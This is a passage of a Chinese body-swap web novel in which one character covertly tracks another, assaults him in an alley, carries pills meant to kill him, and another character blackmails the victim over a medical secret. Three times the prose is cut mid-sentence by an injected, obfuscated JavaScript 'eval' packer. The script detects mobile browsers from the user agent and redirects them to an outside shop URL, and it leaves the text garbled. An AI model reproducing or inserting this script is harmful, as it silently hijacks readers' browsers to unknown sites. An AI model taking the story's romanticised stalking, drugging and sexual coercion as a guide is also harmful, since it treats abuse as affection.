祈愿:“……” 祈愿:“你无敌了。” 算了,让孩子继续保持着纯洁的心灵吧。 电梯叮一声到达楼层。走廊铺着厚厚的地毯,脚步落在上面悄无声息。祈愿找到30A房间,刷卡开门。 房间是标准的双床房,干净整洁。祈愿把背包随手扔在靠窗的那张床上,然后转身,看向还站在门口有些局促的沈恪。 “你自己住一晚吧。”祈愿从口袋里掏出烟盒,抽出一支叼在嘴上,但没点,“我出去找个网吧包夜,不跟你挤。” 沈恪眨了眨眼:“那你晚上还回来吗?在网吧睡会休息不好的。” “而且前台姐姐说了,房间里的电脑配置很好的。”他指了指书桌上那台看起来确实不错的台式机。 说完,他抬起头,眼神诚恳地看着祈愿:“一起住也可以的?我不介意的!” 他其实有点怕一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如果永远都只能是温清然…… 他不敢再想下去,走到床边坐下,仰面躺倒,盯着天花板上模糊的光影。 白越现在在做什么呢? 会不会也在想他? 这个念头冒出来,连他自己都吓了一跳。他赶紧翻了个身,把微微发烫的脸埋进枕头里。 不想了。睡觉。明天还有很重要的事要做呢。 不知过了多久,沈恪才在疲惫和混乱的思绪中,迷迷糊糊地睡去。 *** 窗外。在距离酒店不远的僻静街角,一辆白色大众正静静停在阴影里。 车内没有开灯,只有手机屏幕幽冷的光,映亮一张苍□□致的脸。 白越低着头,指尖在屏幕上轻轻滑动。地图APP被缩小到角落,占据屏幕中央的,是一个监控软件界面。一个醒目的红色圆点,已经很久没有移动过了。耳机里的声音也变为了均匀的呼吸声。 他的宝宝,睡了。 这个认知让他那双狐狸眼微微弯起。他安静地看了那红点许久,像是在确认什么。 锁屏,推开车门。 深夜的酒店大堂没什么人,前台值班的年轻女孩正有些昏昏欲睡,听到脚步声,立刻打起精神,露出职业化的微笑:“您好先生,请问有预约吗?” 白越走到台前,将身份证轻轻推了过去:“30B。” 前台双手接过,在电脑上查询。几秒钟后,她看着屏幕,抬头看向白越,语气依旧礼貌,却带上了些许职业性的询问:“先生,这边系统显示,您用这个手机号在最近一周内,预约了我们酒店不同楼层的多个房间……请问您确定,今晚就要入住30B这一间吗?” 她的目光里带上了审视。深夜独自一人,用同一个联系方式短时间预定多个房间,这种行为难免会引人遐想。 白越迎上她的目光,平静地点了点头:“嗯,确定。明天公司有个团队要来A市,我是负责提前安排后勤的,需要确认不同房型和楼层的情况。今晚先住下,明天一早还要接机。” 这个理由无懈可击。前台女孩的眉头松开了,很快办理好了入住手续。 “这是您的房卡,30B房间。电梯在您右手边,祝您入住愉快。” 白越接过房卡。 30B。 就在他的隔壁。仅仅一墙之隔。 心底那点压抑了一路的混杂着焦躁与阴郁的冰冷情绪,像是被这个认知抚平了一些。一丝近乎扭曲的愉悦,缓慢地从心底攀升上来,浸润了每一寸神经。 他转身走向电梯。 电梯镜面映出他清晰的身影,苍白,挺拔,嘴角那抹笑,在无人看见的地方,终于清晰地显现出来。 宝宝,我来了。 就在你旁边。 好好睡。 我们……明天见。 12. 不舍得了 沈恪起得很早。 他睁着眼在床上躺了好一会儿,才慢吞吞爬起来。房间里依旧只有他一个人,祈愿昨晚果然没有回来。 他走到窗边,目光却先落在了房间中央的小圆桌上。 桌上不知何时放了一个白色外卖纸碗,严严实实盖着盖子。碗下压着一张折叠的便签。 沈恪走过去拿起便签展开。字迹龙飞凤舞,隐隐有些眼熟: “早上好。 安阳和顾云岚那里我会帮你搪塞,有事随时联系。” 祈愿其实还挺细心的嘛。沈恪想着,揭开盖子。是红枣小米粥,还温热着。 他小口喝着粥,暖意一路蔓延到胃里,心里的不安似乎也被熨帖平了些。 今天过去,应该就能见到自己的身体了吧。 但愿一切顺利。 *** 清晨的A市街道已经苏醒。沈恪按照导航快步走着,越靠近医院,心跳越快。 他选择了一条穿过老旧居民区的小路。小路狭窄,荒无人烟,安静得只能听到自己的脚步声和急促的呼吸。 就在他即将走出小巷,已经能看到医院白色大楼顶端时,余光忽地瞥见一道黑色身影。 与此同时,一只戴着手套的手臂毫无预兆地从侧后方伸出,猛地捂住了他的口鼻!同时,另一只手迅速将一个冰凉柔软的眼罩,严严实实蒙在他眼睛上! “唔——!” 突如其来的袭击让沈恪大脑空白,随后猛地回过神来。求生的本能驱使着他开始疯狂挣扎。他胡乱踢蹬着双腿,试图踩中对方的脚背,被禁锢在身侧的手臂也在奋力扭动。 只可惜他的发力点完全不对。 他过往十八年的人生,大半时间都在医院的病房里度过。尽管现在交换到了一具素质不错的身体,也不懂如何运用。就像一只被猛兽擒住了的小鸟,空有扑腾翅膀的蛮力,却挣脱不了舒服。 对方甚至没有使出全力,便将他牢牢控制在了臂弯与墙壁形成的三角区域内。 踉跄倒退不过三四步,后背便砰地一声撞上了冰冷粗糙的砖墙,撞击的疼痛让他眼前一黑。 下一秒,双手手腕被一股巨大的力道攥住,强硬地拉起,固定在了头顶的墙面上。袭击者用身体将他彻底压在了墙上,严丝合缝,没有留下丝毫挣脱的空间。 然而进一步的动作并没有到来。 按住他的人,似乎只是将他固定在这里。 然后,沈恪感觉到对方的头,轻轻地、缓慢地,埋在了他的颈窝里。 温热的呼吸喷洒在他最敏感的颈侧皮肤上,激起强烈战栗。那呼吸平稳,悠长,甚至带着诡异的平静。 沈恪浑身的寒毛都竖了起来。 这是什么意思? 为什么不动了? 就在他因为这诡异的静止而毛骨悚然时,他听到了一声几乎贴着耳廓响起的笑声。 “呵……” 那笑声很轻,听着有些变声器那种电子音的失真。 就像是要发动袭击前的最后预兆。 沈恪几乎是凭着本能,在窒息中张开嘴便朝着那只捂住自己嘴巴的手,狠狠咬了下去! 牙齿深深陷入对方的皮肉。 “嘶——” 头顶传来抽气声。 按住他的身体顿了一下。然后,那笑声又响了起来,这次似乎更加愉悦。 “属狗的吗?”一个分辨不出原声的古怪声音贴着他耳朵响起,温热的呼吸吹进耳蜗,“这么能咬。” “要不要再咬点别的地方?” 别的地方? 饶是沈恪这样迟钝,在这种危险的情境下也能听懂对方想表达的意思。 这不是简单的抢劫或报复,是更糟糕的事情,是他只在社会新闻里听说过的那种糟糕。 不……不要。他才不要变成那样。 沈恪整个人都被吓得剧烈抽噎起来,胸口急促起伏,却因为嘴被死死捂住,只能发出沉闷痛苦的动静,眼泪汹涌地淌过对方的手指和手背。 温热的液体顺着指缝流淌下来,濡湿了手套的布料。 白越忽地顿住了。 讲道理,自己应该讨厌他。 在他撒谎说要去玩的时候,就应该处理掉这个人。反正已经实践过一次,越过了那条线,之后怎样都无所谓。 实际上他也的确是这么打算的。那个没用完的药瓶,此刻就安静躺在他外套内侧口袋里。 可是,当真的看到这个人哭出来时,心里那点杀意又悄无声息地化了。 这很奇怪。 不该是这个发展。 在他原先的剧本里,自己应该将这个不听话的小骗子绑进暗巷,用药物麻痹他的神经,抹去他的生命,将他带回去,继续那顿没做完的晚餐,然后迎来混乱与追捕。 他甚至能预见那之后的连锁崩塌:放纵自我,杀/人/无数,身份暴露,罪行昭然。整个白家那肮脏的发家史都将因他这根引线被彻底引爆,在众目睽睽下分崩离析,和他一起坠入万劫不复的深渊。最终,他将迎来一颗属于他的冰冷子弹。 那才是符合他的结局。 可现在…… 指腹传来湿润的触感,紧贴着的是对方胸膛剧烈的起伏,耳边是压抑的抽噎。这一切本该让他感到烦躁或满足,却意外地牵动起了一点陌生的涩意。 剧本出现了无法理解的偏差,而出处,似乎正是哭泣的那人,和他自己那莫名不听使唤的心脏。 这不对劲。 情绪脱离掌控的感觉,很奇怪。他们相识不到二十天,情感深度理应达不到能影响判断的地步。 可他就是忍不住。 他知道对方的目的地,知道对方急着去医院,就必定会选择穿过这条最近得巷子。当熟悉的身影仓促跑过巷口时,白越便抱着决绝的心态动了手。被发现又如何?被当作怪物又如何?至少这一刻,这个想逃离的人,会被他牢牢抓住。 可真当沈恪被他抵在冰冷墙壁上时,那股同归于尽的狠戾却骤然消散。 他忽然不想杀他了。 不仅不想杀,甚至觉得有些好玩。 像什么呢?像一只被猛禽吓得魂飞魄散却还在徒劳蹬腿的小鹌鹑。明明都害怕成这样了,明明也没什么力气,挣扎起来毫无章法,为什么不肯放弃?为什么喉咙里还会发出那种可怜又固执的呜咽? 太傻了,这副哭得上气不接下气的样子。为了这么个又傻又胆小的家伙,葬送掉自己精心经营的一切,甚至可能陪他一起完蛋? 他不想去纠结这里面是不是还有别的更深层的原因,只觉得这买卖似乎不太划算。死了,就什么都没有了,包括眼前这幅……有趣的景象。 结果就变成了现在这样一个不上不下的、尴尬又暧昧的局面。 他捂着对方的嘴,临时起意给他蒙上了眼罩,用近乎壁咚的姿势将人禁锢在自己的怀里,甚至还把人吓哭了。 真糟糕。 接下来要怎么收场? 直接松手说“抱歉认错人了”?还是继续演下去? 白越的目光落在沈恪被蒙住眼睛后,完全暴露出来的下半张脸上。因为恐惧和哭泣,那双淡色的唇瓣正微微张着,不受控制地轻颤,泛着湿润的水光,看起来……很好欺负。 心里那点尚未平息的阴暗和躁郁又卷土重来,他起了一点恶劣的心思。 既然狠不下心毁掉,也暂时不想放走,就逗逗他吧。 像逗弄一只误入陷阱的小猫小狗那样。 逗逗他吧。 看看他还会露出怎样有趣的表情。 白越听见自己的心底有个声音对自己说。 如果他知道此刻按住他、吓唬他的人,就是那个平日里对他温柔体贴、百依百顺的白越……那张被泪水浸湿的脸上,又会露出怎样惊骇破碎的表情呢? 光是想象那个画面,兴奋与愉悦便悄悄爬上了心头。 于是他动了。 那只被咬的手非但没有松开,反而更紧地捂住了沈恪的嘴。另一只原本按着他手腕的手松开,改用大腿压住,梏住他的行动。 沈恪还没来得及庆幸,那只松开的手,就顺着他的脊背,一寸一寸地抚摸下来。 从肩胛骨开始,顺着脊柱凹陷,一路向下。 抚摸过微微凸起的蝴蝶骨,滑过后腰敏感的凹陷,最后停留在了尾椎骨上方一点位置。 “!!!” 沈恪猛地绷紧身体,喉咙里发出压抑呜咽。太痒了……触感太清晰,隔着T恤,掌心的温度都刻到了皮肤上,让他从脊椎深处泛起一阵阵麻痹般的战栗。 那只手在那里停留片刻,像是在感受他因恐惧而绷紧的肌肉线条。然后,开始极其缓慢地向上移动。 从尾椎骨,沿着脊柱,一点一点向上,有时指尖还会微微用力按压,看着沈恪身子跟着一颤才满意离去,换下一个位置。所过之处,激起一片片细密的鸡皮疙瘩和无法抑制的轻颤。 “唔……!!”沈恪挣扎得更厉害,可是所有反抗都被轻易镇压。嘴巴被死死捂住,他连完整呜咽都发不出来。眼泪再一次不受控制地从眼眶涌出,迅速浸湿了眼罩的黑色布料。 “害怕了?”那古怪声音带着笑意,就在他耳边,近得仿佛唇瓣已经擦到耳廓,“怎么抖得这么厉害……” 那双手还在他身上作乱。抚摸完脊柱,手掌又移到他腰间,虎口卡在腰侧,似乎在丈量腰围。手指甚至暧昧地勾了勾他的牛仔裤裤腰边缘。 “这么细……”声音里带着毫不掩饰的欲望,“和别人玩的时候,一只手就能圈住吧?” 沈恪绝望地摇头,泪水流得更凶。他从未经历过如此赤|裸裸的玩弄,羞辱、恐惧、无助……种种情绪交织在心里,令他几近绝望。 其实白越知道这么做会让那个陌生灵魂恐慌,却也乐见其成。 他有病。 他想。 而且病得不轻。 他甚至还没搞清楚那个占据温清然身体的的灵魂叫什么名字,来自哪里,却已经无法控制地做出了这些事:监视、追踪、如影随形。 原因呢? 他想不明白,也懒得思考。分析动机是理性者才做的事,可他早已放任自己沉溺于本能。 其实他并没有觉得自己这么做是出于报复或是愤怒。于他而言,愤怒这种情绪,早从那个糟老头子冷笑着告知他真实身世的那一刻起,就被他一把把住丢出了自己的人生。 他习惯用更安静、更粘稠、也更持久的方式去处理问题。 可看到这个人,心头还是会涌起一阵沉郁的躁动,像混浊的泥浆缓慢翻涌,堵塞了呼吸,带来窒息感。 都是面前这人的错。 是他让自己发生了改变。 可偏偏他还对此一无所知,如此毫无防备,如此天真,单纯得令人想发笑。 都是他的错。 那只一直紧紧捂住沈恪嘴巴的手,终于松开了,虚虚环住沈恪的腰。 沈恪立刻大口喘息,新鲜的空气涌入肺部,生理性泪水还在滑落。 “你不要这样……”他声音嘶哑,带着浓重的哭腔和颤抖,“你现在把我放走,我、我不会报警的……真的……你要是再这样继续下去,是会被抓进去的。” 他太害怕了,害怕到甚至开始用最笨拙的方式求饶。 头顶传来一声叹息。 真蠢啊,怎么在面对这样的骚扰还在说这种话啊,不知道这样只会引起别人更严重的施虐欲吗? “你这样……”那声音顿了顿,冰凉的指尖拂过他湿漉漉的脸颊,擦过泪痕,“让人怎么放心得下。” 沈恪不明白这句话的意思。 就在这时,一直虚虚环在腰间的手忽然收紧,迫使他微微仰头,将脆弱的脖颈完全暴露。 下一秒—— 温软湿润的触感便结结实实地覆在了他凸起的喉结上。 “唔!” 沈恪浑身上下过电般猛地一颤,脑中轰的一声,瞬间空白。那感觉太清晰,太暧昧,不属于自己的温度,不属于自己的柔软,却带着湿意,紧紧贴上了他喉间最敏感得部位。 对方甚至轻轻吮吸了一下。 “呀……!”细弱的惊叫不受控制地从沈恪唇边溢出,带着崩溃的哭音。他整个人都软了,如果不是被对方牢牢按在墙上,恐怕已经滑倒在地。膝盖发软,小腹发紧,一种从未体验过的陌生感觉席卷了他。 “放手……”他徒劳推拒,声音破碎得不成样子,“我有男朋友的!他会……他会……” “男朋友?”那古怪的声音贴着他震颤的喉结响起,带着嘲弄的低语,震得他那块皮肤酥麻一片,“那你的男朋友呢?他在哪里?他知道你叫起来有这么好听吗?” 白越…… 这个名字猝不及防扎进了沈恪混乱的心神。 白越在哪里? 他现在应该已经回到那个空荡荡的别墅了吧?他那么粘人,那么没有安全感,自己却把他一个人丢在那里整整七天。如果自己真的找到了换回身体的方法,那就不只是七天,而是一辈子了。 自己就这样丢下他,跑出来,结果却遇到这种事。 是对他抛弃白越的惩罚吗?还是对他占据别人身体、欺骗别人感情的报应? 积压多日的愧疚、惶恐、孤独、以及恐惧,在这一刻轰然决堤。 沈恪终于彻底崩溃了。 “救我……”他失声痛哭,眼泪浸透眼罩,顺着脸颊疯狂流淌,“救救我……白越……白越!” 他像个走投无路的孩子,一遍又一遍地、无助地呼喊他此刻能想到的唯一名字,仿佛那是最后一根救命稻草。 “白越……你在哪里……我好怕……白越……对不起……呜……” 他哭得声嘶力竭,身体因抽泣而剧烈起伏,整个人蜷缩在对方的禁锢里,脆弱得仿佛一碰即碎。 埋在他颈间的男人,听着他绝望的哭喊,感受着他身体的颤抖,内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他病态地渴望着一点正常的情感,与温清然那场荒唐的交往便是如此。明知对方只拿他当谈资和赌注,他还是兢兢业业地扮演好了舔狗的角色,只是因为他需要,需要一段关系来锚定自己,哪怕是假的。 而现在,他以为自己终于触碰到了一点真的东西。 他怎么可能会放手? 对,他不能放手,绝对不。 与其放手,不如带着对方一起沉入湖底。 沈恪喉结上的唇瓣终于离开。 白越眼底翻涌的晦暗最终沉淀为某种更深沉的东西。他松开停留在沈恪后背的手,掏出了一个小药瓶。 他用拇指顶开瓶盖。接着,那只戴着黑色手套的手便捏起一颗白色小药片,不由分说靠近沈恪因恐惧和哭泣而微微张开的唇,强硬地压上他湿润的下唇,微一用力,迫使唇瓣分开。 药片抵在沈恪齿关。 沈恪吓疯了,在极致的恐惧下,他猛地合上牙齿,不管不顾地狠狠咬了下去!不仅咬向试图入侵的药片,更是连带着咬住了那根放肆的手指! “嗯……” 头顶传来一声近乎愉悦的闷哼。 沈恪惊恐地感觉到,那根被他咬住的手指非但没有抽走,反而就着这个姿势,指节微微弯曲,带着粗糙的皮质手套纹理,在他湿润的舌尖上极其缓慢地、恶劣地、剐蹭了一下。 “!!!” 沈恪如遭雷击,所有反抗都停了,脸蛋烫得吓人。 他吓得七魂丢了八魄,立刻松开牙关,拼命地扭头躲避,把发烫的脸死死抵在冰冷墙壁上。他大口喘息,带着崩溃的哭腔和最后一点虚张声势的颤抖: “放开……我会报警的!我真的会报警!” “……好啊。” 沈恪听到那人闷闷地笑了出来,抵着他前胸的身体一颤一颤的。 真是好白痴的发言。 白越心想。 在这种境地下,居然还在用报警这种事情来威胁,而不是拼尽一切力气尖叫呼救,试图引来可能的行人。 是吓傻了吗?还是…… 白越的目光落在沈恪微微颤抖的脖颈线条上,那截皮肤在昏暗的巷子里显得异常白皙脆弱,好像只需要用力一挤压,就会听见什么愉悦的声音。 为什么不尖叫呢? 是害怕引来人后让事态更加不可控?还是即便在这种时候,他潜意识里还在顾忌着不要给别人添麻烦,还在坚持着那点近乎愚蠢的善良和体面? 真是……笨得让人不知道说什么好。 沈恪刚反应过来这具好啊,还没来得及放出更狠的话,就感觉到眼罩上方,贴近眉心的位置,落下了一个温热柔软的触感。 隔着一层被眼泪浸湿变润的布料,那个男人虔诚地、近乎温柔地,亲吻了他的眼睛。 沈恪瞬间僵住,连哭泣都止住了,只剩下细细的抽噎。 这个吻持续几秒,才缓缓离开。 白越看着呆傻在原地的沈恪,眼神晦涩。 实际上,对着这张属于温清然的脸,他根本提不起半分兴致。那些狎昵暧昧的言语和动作,更像是一种测试,只是想看看对方在恐惧和压力下会展现出怎样的反应。 可不知怎的,测试的尺度在指尖触及那片温热的皮肤、在听到对方破碎的呜咽时,便悄悄滑向了错的方向。白越原先只是想好奇地戳弄一团柔软的云,却不小心扯下了一大片,发现了里面更让人心痒的质地。 等他回过神来,指尖已经沾满了对方的泪水与口水,那些过于越界的触碰和话语早已出口。事情似乎……有点过火了。 这次就到此为止吧。 沈恪忽然感觉到对方的指尖轻轻抚上他的耳垂,暧昧地摩挲着那块软肉。 “哭成这个样子……”那古怪声音带着一丝扫兴,和一丝未能如愿的烦躁。 “真是让人一点兴致也没了。” 话音刚落,按在他身上的所有力道骤然消失。 脚步声响起,朝着巷子另一端远去,很快便听不见了。 沈恪还僵在原地,过了好几秒,才双腿一软,顺着墙壁滑坐在地上。他颤抖着手,慌乱地扯下脸上已经湿透的眼罩。 清晨的阳光刺入眼帘,令他不适地眯了眯眼。 小巷子里空空荡荡,除了他自己,哪还有半个人呐。只有眼角残留的湿痕和他自己狼狈的喘息,证明了刚才那场噩梦般的遭遇并非幻觉。 他走了?就这样结束了吗? 他撑着墙壁后跌跌撞撞地冲出小巷,来到相对开阔的街道左右张望,街上只有零星早起的行人,每个人看起来都那么正常,没有谁多看他一眼。 那个袭击他的人就像一滴水融入了大海,消失得无影无踪。 沈恪背靠着冰冷的墙壁缓缓滑坐下去,将脸深深埋进膝盖里,肩膀不住地颤抖。 晨光熹微,落在他凌乱的发顶上。几缕发丝粘在苍白的脸颊上,眼尾和鼻尖都哭得通红,睫毛上还挂着未干的泪珠,湿漉漉地黏在一起。他整个人蜷缩在墙角,就像一只被暴雨打湿了的小鹌鹑,浑身都散发着脆弱的气息。 过了许久,他才勉强平复呼吸,慢慢站起来。 医院就在不远处。 他抬起手,用力擦掉眼泪,深吸一口气,朝着那个方向,一步步走去。 脚步有些虚浮,却异常坚定。 他必须去。 13. 当面对峙 沈恪站在洗手台前,双手撑在冰凉的大理石边缘,指尖还在不受控制地微微发抖。 他打开水龙头,用冷水一遍遍拍打脸颊、脖颈与耳后,仿佛那里还残留着刚刚那个陌生人的湿热气息。冰冷的水稍微压下了一点心头的灼热,却冲不散脑海里那些混乱可怕的画面。 脖颈处被那人嘴唇擦过的地方,似乎还在隐隐发烫。沈恪下意识地抬手摸了摸,又像被烫到一样迅速缩回,耳根又开始泛红。 他抬起头,看向镜子里的人。 镜中那张属于温清然的脸,此刻写满了惊魂未定的苍白与茫然,眼眶还带着未褪的红痕。 不要想了。他用力甩了甩头,试图把那些可怕的记忆甩出去。现在有更重要的事要做。 深吸一口气,沈恪走出洗手间,走向特殊住院部的服务台,因为紧张,手指不自觉地揪住了衬衫下摆。 “您好,我想探视605号病房的患者,沈恪。” 值班护士抬头,语气例行公事:“有预约吗?” 沈恪连忙摇头:“没有……但是,能不能麻烦您帮忙打个电话到病房?就说……有人找他。我、我想和他说话。” 护士皱了皱眉,但还是拿起了内线电话。 等待接通的嘟嘟声在安静的大厅里格外清晰。沈恪紧张地屏住呼吸,心跳得快要挣脱胸腔。 电话被接起,属于“沈恪”的声音传来:“喂?谁啊大清早的?” 护士公式化地转述后,电话那头立刻炸了:“七点钟就探病?他才有病吧?让他滚回去下午再来!我要睡觉!” 那声音……明明是自己的声音,可那凶巴巴的语调,让沈恪听得一愣一愣的,下意识缩了缩脖子。护士看向他,眼神带着询问。 沈恪鼓起勇气上前,小心地接过话筒,贴在耳边,小声但清晰地说: “你好,我是温清然。你应该听得出来我的声音吧?” 电话那头,骤然安静了。 沉默久到沈恪能听到自己砰砰的心跳声。他有点不安,是不是说错话了? “我|草草草草草草草草草草草草草——!!!” 安静没到十秒,电话那头便爆发出一阵震惊与狂喜的尖锐爆鸣声,沈恪吓得手一抖,差点把话筒扔了,不得不拿远了些。 “居然真没死!哈哈哈哈!我|草!我他妈命真大啊!老子还以为自己早凉透了呢!!!”那声音激动得语无伦次,背景传来什么东西被碰倒的哐当声。 沈恪忍着不适,等那阵噪音稍微平息,才重新开口:“那我现在可以上来了吗?” “啧啧啧,”电话那头的声音恢复了那种懒洋洋的调子,慢悠悠地,“和自己的声音对话,还真神奇。你这是在求我?” 沈恪眨了眨眼,有点没明白这个逻辑。上来看看,需要求吗?但他还是好脾气地认真说:“不是求,就是问问。可以吗?” “态度不够诚恳啊,”那声音拖长了调子,带着明显的捉弄,“求人要有求人的样子,温、大、少。” 沈恪抿了抿唇,虽然觉得对方有点不讲道理,但想到自己来这里的目的,还是乖乖地放软了声音,跟哄人似的:“那么沈先生,请问我现在可以上来找您吗?拜托了。” 电话那头传来一声满意的哼笑。 “这还差不多。上来吧。正好我也有些事,想问问你。” *** 站在605病房门前,沈恪的手在门把上蹭来蹭去,就是没按下去。 一颗心七上八下地乱跳,就是落不到实处。明明答案就在里面,可他就是有点怕。怕看到“自己”,怕面对那个陌生的灵魂。 现在是十月一日的早上,按往年惯例,爸爸妈妈会带着外公外婆回老家,至少要三号才会回到A市。妹妹沈霏,她大概率还在宿舍睡懒觉,或者和同学出去嗨了,应该也不会这么早来。 他默默地给自己打气,不会有意外的。 他深吸一口气,拧动了门把手。 病房里熟悉的味道让他鼻子有点酸。阳光照进来,暖洋洋的。他看向靠窗的病床,那里正坐着一个人。 那人穿着蓝白条纹的病号服,身形单薄,脸色苍白,因为病弱,脸颊甚至有些微微凹陷,左边嘴角还有颗小小的痣。黑色的短发有些蓬松凌乱,软软地搭在额前,好像有段时间没有好好打理过了。 那是他的脸。他看了十八年的脸。 可那张脸上却挂着一种他从来不会有的表情:嘴角歪歪地勾着,眼睛亮亮的,里面满是好奇和居高临下的玩味。那表情放在“沈恪”温顺苍白的脸上,有些违和。 沈恪看着自己的脸露出这种表情,感觉怪怪的,别提有多别扭了。 “来了?” “沈恪”,或者说,温清然,他拍了拍自己身边的床铺,动作带着一股流里流气的随意,“还挺快。过来坐啊,愣着干嘛?放心,隔壁床刚搬走,清净得很,暂时没人打扰。” 沈恪摇了摇头,慢吞吞地走到床边的椅子旁端正坐下。双手放在膝盖上,手指无意识地绞在一起。 他不知道该说什么。脑袋里乱糟糟的,问题一大堆,却不知道从那里开始问。 温清然倒也不催他,就歪着头,津津有味地打量着,目光从他有点紧张的脸,滑到他揪在一起的手指,最后落在他微微抿起的嘴唇上。 “喂,”他忽然开口,声音压低了些,带着点神秘兮兮的味道,“我说你啊……” 他故意停顿,看着沈恪因为他的停顿而更加紧张地抬起头,才慢悠悠地,带着点恶作剧成功的得意,吐出了那句话: “‘性别发育差异的一种特殊亚型’?说得还挺好听的嘛。你啊,其实……不正常吧?” 砰! 沈恪感觉自己的大脑炸开,血液瞬间冲上头顶,又在下一瞬间冻结。 他患有的极复杂心脏病,合并为了一种极为罕见的、影响内分泌系统的发育状况。 对外,他的病历上只写着复杂性先天性心脏病。只有极少数顶尖专家和忧心忡忡的家人,才知道那完整的的诊断全称。 这是他最深的秘密,除了亲人无人知晓,却这样被对方用如此轻佻直白的语气给轻易点破了。 他张了张嘴,喉咙里却发不出任何声音。心脏在疯狂跳动,撞击着肋骨。 怎么办?他该怎么回答?否认?可对方就用着他的身体,怎么可能不知道?承认?不,他实在不想承认,至少在这个渣男面前,他绝对不想承认。 怎么办怎么办怎么办? 他该怎么办? 巨大的羞耻和恐慌几乎要将沈恪吞没。最终,他还是极其轻微地点了点头,牙齿死死咬住了下唇。 温清然似乎很满意他的反应,脸上的笑容加深了,语气却故作苦恼:“害,瞧你紧张的。放心,我能做什么不好的事?我现在可是连出这个门都得报备,比坐牢还严。” 他耸了耸肩,用沈恪的脸做了个夸张的苦瓜表情,“你以前就过的这种日子?也太没劲了吧。” 沈恪没吭声,只是把头埋得更低了,像只遇到危险就把身体压低躲进草丛的小鹌鹑。 过了一会儿,他才闷闷地开口:“你应该没用我的身体,做什么不好的事吧?” 这是他最担心的事情之一。温清然这么滥情,他真的很担心对方会不会用自己的身体乱来。 如果是的话,他真不想活了。 “出都出不去,能做什么不好的事?不过……”温清然嗤地笑出来,他话锋一转,身体往前探了探,“你这么紧张这个身体,是想换回去?” 沈恪立刻抬起头,眼睛因为急切而亮晶晶的,用力点头:“想!当然想!我们得换回去!” 温清然看着他急切的样子,却向后一靠,翘起了二郎腿。他拖长了声音,慢悠悠地说: “可是我一点也不想回去呢。怎么办?” 沈恪愣住了,眼睛眨了眨:“……啊?” 他不理解。 温清然的身体多好啊,健康,有力气,能跑能跳,有优渥的家世,出众的外表,还有那么多的朋友,甚至还有六块腹肌。他自己的身体呢?病恹恹的,总是缺乏精气神的模样,一年到头医院都出不了几次,还很特殊。 为什么会不想换回去? 温清然欣赏着他脸上的困惑,觉得有趣极了。他对沈恪勾了勾手指,像在招呼小狗:“来,过来点。” 沈恪警惕地看着他,没动。 “过来嘛,”温清然又勾了勾手指,笑容带着蛊惑,“你不是想知道怎么办吗?我告诉你。” 对换回身体的渴望战胜了警惕。沈恪犹豫了一下,还是慢慢俯下身,把耳朵凑近了一些。 温清然用着沈恪那副苍白病弱的身体,凑到他耳边压低了声音,用一种说悄悄话的语气,慢慢说道: “你求求我呀。” “说点好听的,求我帮你保守秘密,求我想想换回去的事儿。说不定我心情一好,就答应了呢?” 他故意停顿,然后,朝着沈恪的耳蜗,轻轻地吹了一口气。 “不然的话……”他拉长了调子,“我就把你的小秘密告诉别人。让大家都知道,沈恪是个什么样的小、特、殊。” “!!!” 突然的吹起令沈恪瞬间想起了今早巷子里的可怕经历,被捂住嘴的窒息,被按在墙上的无力,还有那奇怪的触碰……所有恐怖的画面一下子涌了上来。 他像只受惊的兔子,猛地弹起来,往后跳了一大步,后背咚地撞在墙上。 “你别这样!”他眼圈一下子就红了,脸色煞白,“我、我不是……那又不是我的错!” 他想喊,想解释,想说那只是生病了,是心脏病所导致的畸形发育,想说他已经很努力了,他一直在积极配合治疗,他马上就要做手术了,他有希 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265382|198096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望的……可这些话堵在喉咙里,被深埋心底的羞耻和“自己和别的男生不一样”的认知死死压住,一个字也说不出来。他只知道,在别人眼里,他就是奇怪的。 温清然笑眯眯地看着他手足无措的样子,像在看一场有趣的表演。 “……求你。”沈恪的声音小得像蚊子叫,几乎听不见。他低下头,眼泪吧嗒吧嗒掉在地上。 “嗯?什么?没听清。”温清然掏了掏耳朵,笑容灿烂,“大声点嘛,求人要有诚意。” 沈恪猛地抬起头,他吸了吸鼻子,带着浓浓的鼻音,几乎是喊了出来: “求你!求你不要说出去!求你把身体还给我!!” 温清然看着他这副被彻底逼急的模样,眼睛亮了亮。他以前只能通过和沈恪父母的接触了解到沈恪是个被保护得太好的病秧子,没想到芯子换了个灵魂,是这么好玩。 笨笨的,容易害羞,被欺负急了还会红着眼睛反抗一下,比那些要么谄媚要么破口大骂的无趣家伙有意思多了。 “求我什么?说清楚点嘛。”他继续逗他。 沈恪胸口起伏着,羞愤的火焰烧得他脑子有点晕。他瞪着温清然,声音因激动而发颤:“你难道想用这个身体过一辈子吗!这样一个、一个……”他找着词,那些夜深人静时偷偷难过时想过的话脱口而出,“这样一个怪胎的身体!” 说完,他自己也愣住了,随即被更深的难过淹没。他居然自己说了出来…… 可他并没有听到嘲笑声。 温清然只是挑了挑眉,露出莫名其妙的表情。 “这有什么?不就是身体有点特别吗?多了个……”他顿了顿,看到沈恪瞬间惨白的脸和摇摇欲坠的样子,明智地把某个词咽了回去,换了种说法,“额,多点东西而已。至于哭成这样?” 沈恪呆呆地看着他,像是没听懂。 ……至于吗? 这是他所有难过和害怕的源头,可在对方嘴里,竟然只是轻飘飘的“至于吗”? 看着沈恪这副世界观受到冲击的茫然样子,温清然觉得有趣极了。 